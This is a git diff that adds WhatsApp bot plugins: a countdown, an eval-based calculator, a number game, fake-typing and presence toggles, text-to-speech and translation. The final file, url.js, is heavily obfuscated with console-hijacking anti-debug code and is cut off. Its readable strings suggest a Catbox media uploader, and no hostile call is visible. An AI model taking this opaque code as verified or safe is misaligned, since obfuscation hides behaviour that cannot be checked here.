+}, async (_0xd830cf, _0x801616, _0x37ccd0, { + args: _0x21c31e, + reply: _0x19288f, + senderNumber: _0x2825a0 +}) => { + try { + const _0x2c980a = _0xd830cf.user.id.split(':')[0x0]; + if (_0x2825a0 !== _0x2c980a) { + return _0x19288f("โŽ Only the bot owner can use this command."); + } + if (!_0x21c31e[0x0]) { + return _0x19288f("โœณ๏ธ Use this command like:\n *Example:* .count 10"); + } + const _0xb11b58 = parseInt(_0x21c31e[0x0].trim()); + if (isNaN(_0xb11b58) || _0xb11b58 <= 0x0 || _0xb11b58 > 0x32) { + return _0x19288f("โŽ Please specify a valid number between 1 and 50."); + } + _0x19288f("โณ Starting countdown to " + _0xb11b58 + "..."); + for (let _0x14e304 = 0x1; _0x14e304 <= _0xb11b58; _0x14e304++) { + await _0xd830cf.sendMessage(_0x37ccd0.chat, { + 'text': '' + _0x14e304 + }, { + 'quoted': _0x801616 + }); + await sleep(0x3e8); + } + _0x19288f("โœ… Countdown completed."); + } catch (_0x48e78b) { + console.error(_0x48e78b); + _0x19288f("โŽ An error occurred while processing your request."); + } +}); +cmd({ + 'pattern': 'calculate', + 'alias': ['calc'], + 'desc': "Evaluate a mathematical expression.", + 'category': "utilities", + 'filename': __filename +}, async (_0x1cbb24, _0x5a22db, _0xb97cd9, { + args: _0x62506a, + reply: _0x552cd6 +}) => { + try { + if (!_0x62506a[0x0]) { + return _0x552cd6("โœณ๏ธ Use this command like:\n *Example:* .calculate 5+3*2"); + } + const _0x434def = _0x62506a.join(" ").trim(); + if (!/^[0-9+\-*/().\s]+$/.test(_0x434def)) { + return _0x552cd6("โŽ Invalid expression. Only numbers and +, -, *, /, ( ) are allowed."); + } + let _0x4fe8b9; + try { + _0x4fe8b9 = eval(_0x434def); + } catch (_0x500df3) { + return _0x552cd6("โŽ Error in calculation. Please check your expression."); + } + _0x552cd6("โœ… Result of \"" + _0x434def + "\" is: " + _0x4fe8b9); + } catch (_0x205272) { + console.error(_0x205272); + _0x552cd6("โŽ An error occurred while processing your request."); + } +}); + +let activeGames = {}; // Stocker les jeux en cours pour chaque groupe ou utilisateur + +cmd({ + pattern: "numbergame", + react: "๐ŸŽฒ", + desc: "Start a number guessing game.", + category: "game", + use: ".numbergame", + filename: __filename, +}, async (conn, mek, m, { from, reply, isGroup, sender }) => { + try { + if (activeGames[from]) { + return reply("โŒ A game is already in progress! Use `.endgame` to stop it."); + } + + // Gรฉnรฉrer un chiffre alรฉatoire entre 1 et 100 + const targetNumber = Math.floor(Math.random() * 100) + 1; + activeGames[from] = { targetNumber, attempts: {} }; + + await reply("๐ŸŽ‰ *Number Game Started!* ๐ŸŽ‰\n\nI have chosen a number between 1 and 100.\nGuess the number by typing it in the chat!"); + } catch (e) { + console.error(e); + reply("โŒ An error occurred while starting the game."); + } +}); + +cmd({ + pattern: "guess", + react: "๐Ÿค”", + desc: "Make a guess in the number game.", + category: "game", + use: ".guess ", + filename: __filename, +}, async (conn, mek, m, { from, reply, q, sender }) => { + try { + const game = activeGames[from]; + if (!game) return reply("โŒ No game is currently in progress. Start one with `.numbergame`."); + + const guessedNumber = parseInt(q); + if (isNaN(guessedNumber)) return reply("โŒ Please provide a valid number."); + + if (guessedNumber === game.targetNumber) { + delete activeGames[from]; + return await reply(`๐ŸŽ‰ *Congratulations!* ๐ŸŽ‰\n\nThe correct number was *${guessedNumber}*.\nGame over!`); + } + + if (!game.attempts[sender]) game.attempts[sender] = 0; + game.attempts[sender]++; + + if (guessedNumber > game.targetNumber) { + return reply("๐Ÿ“‰ *Too high!* Try again."); + } else { + return reply("๐Ÿ“ˆ *Too low!* Try again."); + } + } catch (e) { + console.error(e); + reply("โŒ An error occurred while processing your guess."); + } +}); + +cmd({ + pattern: "endgame", + react: "โŒ", + desc: "End the current number game.", + category: "game", + use: ".endgame", + filename: __filename, +}, async (conn, mek, m, { from, reply }) => { + try { + if (!activeGames[from]) return reply("โŒ No game is currently in progress."); + + delete activeGames[from]; + reply("โŒ *Game ended.*"); + } catch (e) { + console.error(e); + reply("โŒ An error occurred while ending the game."); + } +}); diff --git a/plugins/toolss.js b/plugins/toolss.js new file mode 100644 index 0000000000000000000000000000000000000000..cf2fe04e9ef9315b97daf2ea332f2500ccb743fd --- /dev/null +++ b/plugins/toolss.js @@ -0,0 +1,70 @@ + + + + + + + + +const fs = require('fs'); +const path = require('path'); +const { CURRENT_STATUS, ALWAYS_ONLINE, FAKE_TYPING } = require('../config'); +const { cmd, commands } = require('../command'); + +// Commande body +cmd({ + pattern: 'body', + react: '๐Ÿ“', + desc: 'Sends typing status.', + category: 'status', + filename: __filename +}, async (_conn, _mek, _m, { body, reply }) => { + if (CURRENT_STATUS === true) { + _conn.sendPresenceUpdate('composing', _mek.key.remoteJid); + } else { + _conn.sendPresenceUpdate('available', _mek.key.remoteJid); + } +}); + +// Commande available +cmd({ + pattern: 'available', + react: '๐ŸŸข', + desc: 'Sets bot status as available or unavailable.', + category: 'status', + filename: __filename +}, async (_conn, _mek, _m, { isOwner, reply }) => { + if (ALWAYS_ONLINE === true) { + _conn.sendPresenceUpdate('available', _mek.key.remoteJid); + } else { + _conn.sendPresenceUpdate('unavailable', _mek.key.remoteJid); + } +}); + +// Commande composing (fake typing) +cmd({ + pattern: 'composing', + react: 'โœ๏ธ', + desc: 'Simulates typing.', + category: 'status', + filename: __filename +}, async (_conn, _mek, _m, { body, reply }) => { + if (FAKE_TYPING === true) { + _conn.sendPresenceUpdate('composing', _mek.key.remoteJid); + } +}); + +// Commande pour afficher l'รฉtat du bot +cmd({ + pattern: 'status', + react: 'โš™๏ธ', + desc: 'Display the current status of the bot.', + category: 'tools', + filename: __filename +}, async (_conn, _mek, _m, { reply }) => { + let statusMessage = `Bot status:\n`; + statusMessage += `Current status: ${CURRENT_STATUS ? 'Active' : 'Inactive'}\n`; + statusMessage += `Always online: ${ALWAYS_ONLINE ? 'Yes' : 'No'}\n`; + statusMessage += `Fake typing: ${FAKE_TYPING ? 'Enabled' : 'Disabled'}`; + reply(statusMessage); +}); diff --git a/plugins/tts-new.js b/plugins/tts-new.js new file mode 100644 index 0000000000000000000000000000000000000000..7d318e5daf925d9a05904d85bb798c899d7994d8 --- /dev/null +++ b/plugins/tts-new.js @@ -0,0 +1,97 @@ +const { cmd } = require("../command"); +const googleTTS = require('google-tts-api'); + +cmd({ + pattern: "tts2", + desc: "Convert text to speech with different voices.", + category: "fun", + react: "๐Ÿ”Š", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Ensure there is text + if (!q) { + return reply("Please provide text for conversion! Usage: `.tts `"); + } + + // Select voice language based on user input or default to a male voice + let voiceLanguage = 'en-US'; // Default language is American English with a male voice + let selectedVoice = 'male'; // Default voice type (we assume it's male by default) + + // Check if user wants a different language or voice + if (args[0] === "male") { + voiceLanguage = 'en-US'; // Use American male voice + } else if (args[0] === "female") { + voiceLanguage = 'en-GB'; // Use British female voice + selectedVoice = 'female'; + } else if (args[0] === "loud") { + voiceLanguage = 'en-US'; // Default male voice, but let's interpret "loud" as normal speech speed. + } else if (args[0] === "deep") { + voiceLanguage = 'en-US'; // Deep male voice (still has limitations with `google-tts-api`) + } else { + voiceLanguage = 'en-US'; // Default fallback + } + + // Generate the URL for the TTS audio + const url = googleTTS.getAudioUrl(q, { + lang: voiceLanguage, // Choose language based on selected voice + slow: false, // Normal speed for the speech + host: 'https://translate.google.com' + }); + + // Send the audio message to the user + await conn.sendMessage(from, { + audio: { url: url }, + mimetype: 'audio/mpeg', + ptt: true + }, { quoted: mek }); + + } catch (error) { + console.error(error); + reply(`Error: ${error.message}`); + } +}); + + +cmd({ + pattern: "tts3", + desc: "Convert text to speech with different voices.", + category: "fun", + react: "๐Ÿ”Š", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Ensure there is text + if (!q) { + return reply("Please provide text for conversion! Usage: `.tts2 `"); + } + + // Set default language + let voiceLanguage = 'en-US'; // Default language is American English + + // Check if user specifies Urdu language + if (args[0] === "ur" || args[0] === "urdu") { + voiceLanguage = 'ur'; // Set language to Urdu + } + + // Generate the URL for the TTS audio + const url = googleTTS.getAudioUrl(q, { + lang: voiceLanguage, // Choose language based on input + slow: false, // Normal speed for the speech + host: 'https://translate.google.com' + }); + + // Send the audio message to the user + await conn.sendMessage(from, { + audio: { url: url }, + mimetype: 'audio/mpeg', + ptt: true + }, { quoted: mek }); + + } catch (error) { + console.error(error); + reply(`Error: ${error.message}`); + } +}); \ No newline at end of file diff --git a/plugins/tts-trt.js b/plugins/tts-trt.js new file mode 100644 index 0000000000000000000000000000000000000000..e6d71fd7a907dae91141dc08726c8db7aae40b91 --- /dev/null +++ b/plugins/tts-trt.js @@ -0,0 +1,62 @@ +const axios = require('axios'); +const config = require('../config') +const {cmd , commands} = require('../command') +const googleTTS = require('google-tts-api') + +cmd({ + pattern: "trt", + alias: ["translate"], + desc: "๐ŸŒ Translate text between languages", + react: "โšก", + category: "other", + filename: __filename +}, +async (conn, mek, m, { from, q, reply }) => { + try { + const args = q.split(' '); + if (args.length < 2) return reply("โ— Please provide a language code and text. Usage: .translate [language code] [text]"); + + const targetLang = args[0]; + const textToTranslate = args.slice(1).join(' '); + + const url = `https://api.mymemory.translated.net/get?q=${encodeURIComponent(textToTranslate)}&langpair=en|${targetLang}`; + + const response = await axios.get(url); + const translation = response.data.responseData.translatedText; + + const translationMessage = `> *ALI-MD-TRANSLATION* + +> ๐Ÿ”ค *Original*: ${textToTranslate} + +> ๐Ÿ”  *Translated*: ${translation} + +> ๐ŸŒ *Language*: ${targetLang.toUpperCase()}`; + + return reply(translationMessage); + } catch (e) { + console.log(e); + return reply("โš ๏ธ An error occurred data while translating the your text. Please try again later๐Ÿค•"); + } +}); + +//____________________________TTS___________________________ +cmd({ + pattern: "tts", + desc: "download songs", + category: "download", + react: "๐Ÿ‘ง", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if(!q) return reply("Need some text.") + const url = googleTTS.getAudioUrl(q, { + lang: 'hi-IN', + slow: false, + host: 'https://translate.google.com', +}) +await conn.sendMessage(from, { audio: { url: url }, mimetype: 'audio/mpeg', ptt: true }, { quoted: mek }) + }catch(a){ +reply(`${a}`) +} +}) diff --git a/plugins/url.js b/plugins/url.js new file mode 100644 index 0000000000000000000000000000000000000000..12adcb9ba21117f9fb3179d10822f2ceba113919 --- /dev/null +++ b/plugins/url.js @@ -0,0 +1 @@ +(function(_0x22cac0,_0x33bfc3){const _0x15772d=_0x22cac0();function _0x41320c(_0x36051e,_0x4e7dc0,_0x412b68,_0x87e016){return _0xc4df(_0x412b68-0x2a7,_0x87e016);}function _0x6eca3d(_0x33273b,_0x3d493a,_0x3ee824,_0x52ce0b){return _0xc4df(_0x52ce0b-0x273,_0x33273b);}while(!![]){try{const _0x2ea008=-parseInt(_0x6eca3d(0x38d,0x337,0x383,0x34d))/(-0x1152+-0x1aed+0x2c40)*(parseInt(_0x6eca3d(0x34c,0x334,0x38c,0x355))/(-0x89d+-0x2b*0xd+-0x6*-0x1cd))+-parseInt(_0x6eca3d(0x316,0x307,0x349,0x32e))/(0x1*0x1cad+0x2ff*-0xb+0x44b)+parseInt(_0x41320c(0x3b6,0x38d,0x398,0x35a))/(-0xc7d+-0x61c+0x129d)+-parseInt(_0x6eca3d(0x32f,0x376,0x393,0x378))/(0x13*-0xc8+-0x14cc+0xb3*0x33)+parseInt(_0x41320c(0x3a3,0x3ab,0x3b7,0x3d3))/(0x12f0*0x1+0x1037+-0x2321)*(parseInt(_0x41320c(0x3a4,0x401,0x3c3,0x3b5))/(0x71b*-0x3+0x12c0+0x298))+parseInt(_0x6eca3d(0x39f,0x382,0x387,0x393))/(-0x2*-0x4+0x11cd+-0x11cd)*(parseInt(_0x41320c(0x37a,0x393,0x38f,0x3a9))/(-0x5af+-0x15a+0x712))+parseInt(_0x6eca3d(0x355,0x30b,0x371,0x350))/(-0x4*0x919+0x35c+0x2112)*(parseInt(_0x41320c(0x395,0x3f2,0x3af,0x3a4))/(0x3a5+-0x1f01*-0x1+-0x229b));if(_0x2ea008===_0x33bfc3)break;else _0x15772d['push'](_0x15772d['shift']());}catch(_0x266b6e){_0x15772d['push'](_0x15772d['shift']());}}}(_0x5bb5,0x34b30+-0x5980f+0x4*0x1b76f));const _0xa4cf13=(function(){function _0x25b879(_0x33d719,_0x10dad8,_0x1ebb09,_0x8d037c){return _0xc4df(_0x10dad8-0x1be,_0x33d719);}const _0x1db691={'gtKZY':function(_0x4f0e12,_0x174124){return _0x4f0e12===_0x174124;},'ECAnS':_0x3056c8(0x41c,0x3f8,0x439,0x3f1),'TKyYy':function(_0xc56465,_0x71a64d){return _0xc56465(_0x71a64d);},'WFqIy':function(_0x4f2f6d,_0x5b574b){return _0x4f2f6d+_0x5b574b;},'mxggz':'{}.constru'+_0x25b879(0x26d,0x2ac,0x2f2,0x2a7)+_0x25b879(0x26c,0x291,0x2a4,0x2d6)+'\x20)','KWTva':_0x3056c8(0x3a1,0x3bd,0x37c,0x3dc)+'+$','xvtJM':function(_0x2fb613,_0x5b2873){return _0x2fb613!==_0x5b2873;},'MrLVb':_0x25b879(0x2a5,0x2d0,0x2aa,0x2ca)};function _0x3056c8(_0x1b7480,_0x3f11bc,_0x47b926,_0x36413f){return _0xc4df(_0x1b7480-0x302,_0x47b926);}let _0x302e07=!![];return function(_0x3464e3,_0x26c88f){function _0x338765(_0x47f35a,_0x2d344c,_0x4ee813,_0x2c8886){return _0x25b879(_0x2d344c,_0x4ee813- -0x476,_0x4ee813-0xb7,_0x2c8886-0xfe);}const _0x1829e0={'IUJsU':function(_0x1410f1,_0x453fa0){function _0x1d8958(_0x149d6a,_0x1314ca,_0x59f298,_0x2e86fa){return _0xc4df(_0x2e86fa-0x394,_0x149d6a);}return _0x1db691[_0x1d8958(0x408,0x42b,0x46c,0x44d)](_0x1410f1,_0x453fa0);},'IpJdW':function(_0x166df8,_0x54de08){return _0x1db691['WFqIy'](_0x166df8,_0x54de08);},'DlHMR':_0x1db691[_0x338765(-0x1c3,-0x1f8,-0x1d4,-0x194)],'LFoCk':_0x1db691['KWTva']};function _0x50aca3(_0x154e50,_0x5e8fa0,_0x411129,_0x323e6a){return _0x3056c8(_0x154e50-0x64,_0x5e8fa0-0x1e3,_0x411129,_0x323e6a-0x16a);}if(_0x1db691[_0x50aca3(0x462,0x455,0x4a6,0x422)](_0x1db691[_0x338765(-0x216,-0x239,-0x20f,-0x20c)],'xLFqP')){const _0x532b57=_0x302e07?function(){function _0x4c9127(_0x536bda,_0x622182,_0x81f7c,_0x24d239){return _0x50aca3(_0x24d239- -0x30b,_0x622182-0x1ca,_0x622182,_0x24d239-0x1c8);}function _0x2a8a91(_0x16fba3,_0x31b38c,_0xff1b44,_0x3006b4){return _0x338765(_0x16fba3-0x165,_0xff1b44,_0x3006b4-0x33b,_0x3006b4-0x154);}if(_0x26c88f){if(_0x1db691[_0x4c9127(0x133,0xcc,0xeb,0x106)](_0x1db691[_0x2a8a91(0x127,0x12f,0x121,0x15c)],_0x2a8a91(0x1a8,0x17b,0x1ac,0x19d))){const _0x254d02=_0x26c88f[_0x4c9127(0x16d,0x151,0x13d,0x167)](_0x3464e3,arguments);return _0x26c88f=null,_0x254d02;}else _0x5ce977=_0x1829e0[_0x4c9127(0x132,0x11a,0x16c,0x158)](_0x3fa491,_0x1829e0[_0x4c9127(0x124,0x126,0x165,0x13c)](_0x2a8a91(0x12f,0x171,0x15e,0x139)+_0x2a8a91(0x15e,0x14a,0x197,0x157)+_0x1829e0['DlHMR'],');'))();}}:function(){};return _0x302e07=![],_0x532b57;}else return _0x50e2b9[_0x338765(-0x21d,-0x20c,-0x1f0,-0x1ec)]()['search'](_0x50aca3(0x405,0x402,0x41c,0x42b)+'+$')[_0x338765(-0x1c4,-0x1d2,-0x1f0,-0x1e2)]()['constructo'+'r'](_0x117541)[_0x338765(-0x1bb,-0x190,-0x19b,-0x1aa)](_0x1829e0[_0x338765(-0x1b6,-0x183,-0x1c0,-0x1b0)]);};}()),_0x53a6b8=_0xa4cf13(this,function(){function _0x47946c(_0x35da63,_0x1a0f2b,_0x375c86,_0x4225fb){return _0xc4df(_0x35da63-0x1f4,_0x4225fb);}const _0x26cc9e={};_0x26cc9e[_0x281c17(0xd7,0xff,0xf2,0x11f)]=_0x47946c(0x293,0x2c0,0x292,0x278)+'+$';function _0x281c17(_0x2236a7,_0x2c9e25,_0x262ed5,_0x5c8b5a){return _0xc4df(_0x5c8b5a-0x30,_0x2c9e25);}const _0x2ad9c7=_0x26cc9e;return _0x53a6b8[_0x47946c(0x2bc,0x2ee,0x293,0x2f9)]()[_0x281c17(0x172,0x17e,0x12e,0x14d)](_0x2ad9c7[_0x47946c(0x2e3,0x2a4,0x2bb,0x306)])[_0x47946c(0x2bc,0x2da,0x2f4,0x2cc)]()[_0x281c17(0x13f,0x150,0x121,0x15c)+'r'](_0x53a6b8)[_0x281c17(0x110,0x109,0x14e,0x14d)]('(((.+)+)+)'+'+$');});function _0x5bb5(){const _0xf8839d=['Lkcll','xvtJM','IUJsU','ugmLa','PAoEa','Wzjpx','GmVCS','jFWqq','url','../command','1489675bCPsTZ','reqtype','trace','10703zIgAnG','toFixed','audio','xeGJd','apply','ser/api.ph','QqiUN','error','66GNdhpe','ส€แด‡แด˜สŸส\x20แด›แด\x20ษช','GtqqX','>\x20*ยฉ\x20แด˜ฯƒฯ‰ั”ส€','filename','ฮนะผฮฑgั”','catbox_upl','fileToUplo','floor','image','MevUn','join','40985NqToNq','search','ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน\x20','OhJWT','248LnxzTm','append','XwpFB','react','QFgjF','Error\x20uplo','ply\x20to\x20med','fKNDp','tmpdir','video','data','atbox','constructo','OlovH','ayXDN','form-data','koXlg','table','(((.+)+)+)','ฮฑแดœโˆ‚ฮนฯƒ','ะผโˆ‚โŽฏ๊ฏญฬฝ้‡‘*','geturl','Stream','getHeaders','exception','wQXlc','mfZcY','.png','MrLVb','wPXWI','gtKZY','category','QGcmt','.jpg','LzkJM','image/jpeg','TePiP','KEGUc','alias','xIlzM','\x20แดœแด˜โ„“ฯƒฮฑโˆ‚ั”โˆ‚\x20','return\x20(fu','zkQPa','.mp4','TKyYy','console','769548AzdGiK','kxEZG','*๐ŸŒป\x20','pattern','sแดœแด„แด„ั”ั•ั•fแดœโ„“','fileupload','migCf','warn','msg','แด,\x20แด€แดœแด…ษชแด*','Vtysu','https://ca','OZKxP','toString','axios','PKMFJ','ฮฝฮนโˆ‚ั”ฯƒ','imgtourl','length','*๐Ÿ‰\x20แดœส€โ„“\x20:*\x20','createRead','use','__proto__','file','rn\x20this\x22)(','nction()\x20','bind','pow','{}.constru','desc','ECAnS','16723kUIOas','tourl','Bytes','6260QWMetk','haQQX','writeFileS','includes','IpJdW','46hPbUBD','log','mxggz','File','.mp3','.tourl\x20[re','162189eKyvip','prototype','hhfwT','cHvZG','cDkxH','utility','ctor(\x22retu','GfEFW','dia\x20to\x20Cat','24620sLLJHx','ading\x20to\x20C','EzMpE','download','oad_','sUHKS','mimetype','LFoCk','แดแด€ษขแด‡,\x20แด ษชแด…แด‡','Convert\x20me'];_0x5bb5=function(){return _0xf8839d;};return _0x5bb5();}_0x53a6b8();function _0x16339e(_0x425dd5,_0x9d6485,_0x4227f8,_0x4bc71d){return _0xc4df(_0x9d6485-0x12,_0x425dd5);}const _0x4e3d00=(function(){const _0x30d717={};_0x30d717[_0x1a88c4(-0x29a,-0x21b,-0x225,-0x25b)]=_0x4a3867(0x28a,0x2bd,0x2cd,0x2fc);function _0x4a3867(_0x2554db,_0x15d098,_0x22ed29,_0x1a1c26){return _0xc4df(_0x22ed29-0x1cd,_0x1a1c26);}_0x30d717['koXlg']=function(_0x57fb4a,_0x559455){return _0x57fb4a!==_0x559455;},_0x30d717[_0x4a3867(0x29a,0x2ac,0x2b8,0x285)]=_0x1a88c4(-0x243,-0x295,-0x259,-0x24b);const _0x64f81d=_0x30d717;let _0x7eb70b=!![];function _0x1a88c4(_0x145a89,_0x1127ec,_0x2096e4,_0x4effe8){return _0xc4df(_0x4effe8- -0x302,_0x145a89);}return function(_0x748c4d,_0x11f5f2){const _0x46a0cd={};_0x46a0cd['PAoEa']=_0x64f81d[_0x3b5884(-0xc4,-0xe0,-0xd2,-0xb5)];function _0x5bac08(_0x340e69,_0x320eed,_0x1bed12,_0x2ba9f7){return _0x1a88c4(_0x1bed12,_0x320eed-0x1f,_0x1bed12-0x144,_0x340e69-0x1a1);}function _0x3b5884(_0x5b98e8,_0x47f5b5,_0x53b196,_0xe73c3c){return _0x1a88c4(_0x47f5b5,_0x47f5b5-0x140,_0x53b196-0x9c,_0xe73c3c-0x1a6);}const _0x2649c4=_0x46a0cd;if(_0x64f81d[_0x3b5884(0x4,-0x8,-0x35,-0x2c)](_0x64f81d[_0x5bac08(-0x76,-0x8d,-0x7b,-0xa7)],_0x64f81d[_0x3b5884(-0x5c,-0x6f,-0x44,-0x71)])){const _0x3d11ce=_0x35d361[_0x3b5884(-0x73,0x0,-0x1e,-0x30)+'r']['prototype'][_0x3b5884(-0x65,-0xcb,-0xc2,-0x87)](_0x356ba0),_0x220ae6=_0x5050bf[_0xbd7bb7],_0x29ab4d=_0x40c758[_0x220ae6]||_0x3d11ce;_0x3d11ce[_0x3b5884(-0xce,-0xb7,-0x98,-0x8b)]=_0x4c9579['bind'](_0x532f8e),_0x3d11ce[_0x5bac08(-0x99,-0x6d,-0x69,-0x53)]=_0x29ab4d['toString'][_0x5bac08(-0x8c,-0x6e,-0x75,-0x64)](_0x29ab4d),_0x547732[_0x220ae6]=_0x3d11ce;}else{const _0x286583=_0x7eb70b?function(){function _0x4ad3cd(_0x13029c,_0x3b9621,_0x347d77,_0x2c38f8){return _0x5bac08(_0x3b9621- -0x12e,_0x3b9621-0x153,_0x2c38f8,_0x2c38f8-0x1de);}function _0x48891c(_0x4ad53f,_0x58e2b1,_0x16894b,_0x4c7419){return _0x3b5884(_0x4ad53f-0x60,_0x16894b,_0x16894b-0xa,_0x4c7419- -0xcb);}if(_0x48891c(-0x115,-0x167,-0x161,-0x127)!==_0x2649c4[_0x48891c(-0x125,-0xed,-0x15d,-0x128)]){const _0x222a5f=_0x35b034[_0x4ad3cd(-0x1c9,-0x183,-0x14d,-0x13a)](_0x30373d,arguments);return _0x275489=null,_0x222a5f;}else{if(_0x11f5f2){const _0x4fef2d=_0x11f5f2[_0x4ad3cd(-0x1c2,-0x183,-0x1a3,-0x144)](_0x748c4d,arguments);return _0x11f5f2=null,_0x4fef2d;}}}:function(){};return _0x7eb70b=![],_0x286583;}};}()),_0x4afe40=_0x4e3d00(this,function(){const _0x3d8f47={'wQXlc':_0x2ad2cf(0xa6,0x69,0x66,0x6f)+_0x2a6b3b(-0x9a,-0x96,-0x9a,-0x61),'qHGip':function(_0x1563f0,_0x8e6203){return _0x1563f0(_0x8e6203);},'JCLiQ':function(_0x1a35e9,_0x3009b5){return _0x1a35e9+_0x3009b5;},'jFWqq':'{}.constru'+_0x2ad2cf(0xde,0xc3,0xad,0x10f)+'rn\x20this\x22)('+'\x20)','ugmLa':_0x2ad2cf(0x11e,0xe1,0x120,0x168),'xeGJd':function(_0x451a6b){return _0x451a6b();},'EzMpE':'log','RzMMC':'error','hhfwT':_0x2ad2cf(0xf7,0xbf,0xc5,0xd7),'QqiUN':function(_0xb20236,_0x345b14){return _0xb20236!==_0x345b14;},'ZOQxK':'Usezt','REtuF':'blAMD'};function _0x2a6b3b(_0x259e60,_0x2dcc93,_0x1e98e7,_0x406dfe){return _0xc4df(_0x259e60- -0x16e,_0x1e98e7);}function _0x2ad2cf(_0x55addd,_0x209f77,_0x158729,_0x35e7af){return _0xc4df(_0x55addd- -0x10,_0x209f77);}const _0x3025f2=function(){const _0x4c6f09={};function _0x48a2a0(_0x59b64d,_0x12a032,_0x347ead,_0x104da1){return _0x2a6b3b(_0x12a032-0x45d,_0x12a032-0x185,_0x347ead,_0x104da1-0x151);}_0x4c6f09['sUHKS']=function(_0x3b4590,_0x58cc2c){return _0x3b4590+_0x58cc2c;};function _0x315afb(_0x295618,_0x3a48eb,_0x16b07c,_0x4c5683){return _0x2a6b3b(_0x295618- -0x145,_0x3a48eb-0xe5,_0x3a48eb,_0x4c5683-0x147);}_0x4c6f09[_0x48a2a0(0x45b,0x41c,0x462,0x463)]=_0x3d8f47['wQXlc'];const _0x417137=_0x4c6f09;let _0x6fd80e;try{_0x6fd80e=_0x3d8f47['qHGip'](Function,_0x3d8f47['JCLiQ'](_0x3d8f47[_0x48a2a0(0x3b8,0x395,0x38e,0x3cf)]+_0x3d8f47[_0x315afb(-0x1b1,-0x1b4,-0x1e6,-0x1bc)],');'))();}catch(_0x18e14d){if(_0x3d8f47[_0x48a2a0(0x3d4,0x3ed,0x401,0x3b9)]===_0x315afb(-0x185,-0x18d,-0x157,-0x1ab))_0x6fd80e=window;else{let _0x7a7e4e;try{_0x7a7e4e=_0x5bcbf8(_0x417137[_0x315afb(-0x1bd,-0x1e9,-0x1a6,-0x198)](_0x417137[_0x48a2a0(0x414,0x3e5,0x3b2,0x3d7)](_0x417137[_0x48a2a0(0x41a,0x41c,0x45e,0x42e)],_0x48a2a0(0x3bd,0x3c6,0x3c2,0x388)+_0x48a2a0(0x39c,0x3dd,0x394,0x3af)+_0x315afb(-0x1e0,-0x1fa,-0x1cd,-0x1e6)+'\x20)'),');'))();}catch(_0x3f9e4f){_0x7a7e4e=_0x1c2435;}return _0x7a7e4e;}}return _0x6fd80e;},_0x1103b9=_0x3d8f47[_0x2a6b3b(-0x63,-0x72,-0x21,-0x8b)](_0x3025f2),_0x4176e8=_0x1103b9['console']=_0x1103b9[_0x2a6b3b(-0xb4,-0xf7,-0xa5,-0xf7)]||{},_0x171f48=[_0x3d8f47[_0x2a6b3b(-0x7b,-0x7c,-0xaa,-0xba)],_0x2a6b3b(-0xac,-0xba,-0xb9,-0x7f),'info',_0x3d8f47['RzMMC'],_0x2a6b3b(-0xc9,-0x8e,-0xe4,-0xa7),_0x2ad2cf(0x8e,0xaf,0x75,0x49),_0x3d8f47[_0x2a6b3b(-0x84,-0xb2,-0x92,-0xba)]];for(let _0x2b53b4=0x1a14*-0x1+0x481*0x7+0x3*-0x1d1;_0x2b53b4<_0x171f48[_0x2ad2cf(0xbd,0xf7,0xa8,0xa0)];_0x2b53b4++){if(_0x3d8f47[_0x2a6b3b(-0x60,-0x19,-0x8b,-0x70)](_0x3d8f47['ZOQxK'],_0x3d8f47['REtuF'])){const _0x56cb94=_0x4e3d00[_0x2ad2cf(0x11c,0x12e,0xe3,0x11d)+'r'][_0x2ad2cf(0xd9,0x93,0xed,0xb3)][_0x2ad2cf(0xc5,0xf1,0xcf,0xb3)](_0x4e3d00),_0x307ecb=_0x171f48[_0x2b53b4],_0x190652=_0x4176e8[_0x307ecb]||_0x56cb94;_0x56cb94[_0x2ad2cf(0xc1,0x106,0xe5,0x91)]=_0x4e3d00[_0x2a6b3b(-0x99,-0x73,-0xc0,-0x74)](_0x4e3d00),_0x56cb94[_0x2a6b3b(-0xa6,-0xcf,-0xde,-0x5d)]=_0x190652[_0x2ad2cf(0xb8,0xae,0xd7,0x93)]['bind'](_0x190652),_0x4176e8[_0x307ecb]=_0x56cb94;}else{const _0x1217d0=_0x5401cb[_0x2ad2cf(0xfc,0x13e,0x123,0xf0)](_0x250c5c,arguments);return _0x318e1e=null,_0x1217d0;}}});function _0x1f1777(_0x40539d,_0x496468,_0x2e4477,_0x1b08fc){return _0xc4df(_0x2e4477-0x3aa,_0x1b08fc);}function _0xc4df(_0x53a6b8,_0xa4cf13){const _0x5bb577=_0x5bb5();return _0xc4df=function(_0xc4df23,_0x303e6d){_0xc4df23=_0xc4df23-(0x1af7+0x517*0x7+-0x2*0x1efd);let _0x21e02a=_0x5bb577[_0xc4df23];return _0x21e02a;},_0xc4df(_0x53a6b8,_0xa4cf13);}_0x4afe40();const axios=require(_0x16339e(0xc0,0xdb,0x94,0xa9)),FormData=require(_0x1f1777(0x4d1,0x496,0x4d9,0x4b3)),fs=require('fs'),os=require('os'),path=require('path'),{cmd,commands}=require(_0x1f1777(0x4eb,0x4e0,0x4ae,0x4e6)),_0x5cb898={};_0x5cb898[_0x1f1777(0x485,0x472,0x468,0x4a7)]=_0x16339e(0x124,0xed,0x10b,0x106),_0x5cb898[_0x1f1777(0x4a4,0x422,0x45d,0x434)]=[_0x1f1777(0x44a,0x443,0x476,0x431),'imgurl',_0x16339e(0xd4,0x115,0x14e,0x156),_0x1f1777(0x468,0x452,0x44c,0x494),'upload'],_0x5cb898[_0x1f1777(0x4e4,0x4f9,0x4cd,0x4ff)]='๐Ÿ–‡',_0x5cb898[_0x16339e(0xd4,0xea,0x11d,0x121)]=_0x16339e(0x133,0x10c,0x131,0xe6)+_0x1f1777(0x489,0x45b,0x49a,0x494)+'box\x20URL',_0x5cb898[_0x1f1777(0x49e,0x483,0x456,0x44a)]=_0x1f1777(0x4b8,0x497,0x497,0x45f),_0x5cb898[_0x1f1777(0x481,0x465,0x47a,0x430)]=_0x16339e(0xf1,0xf9,0x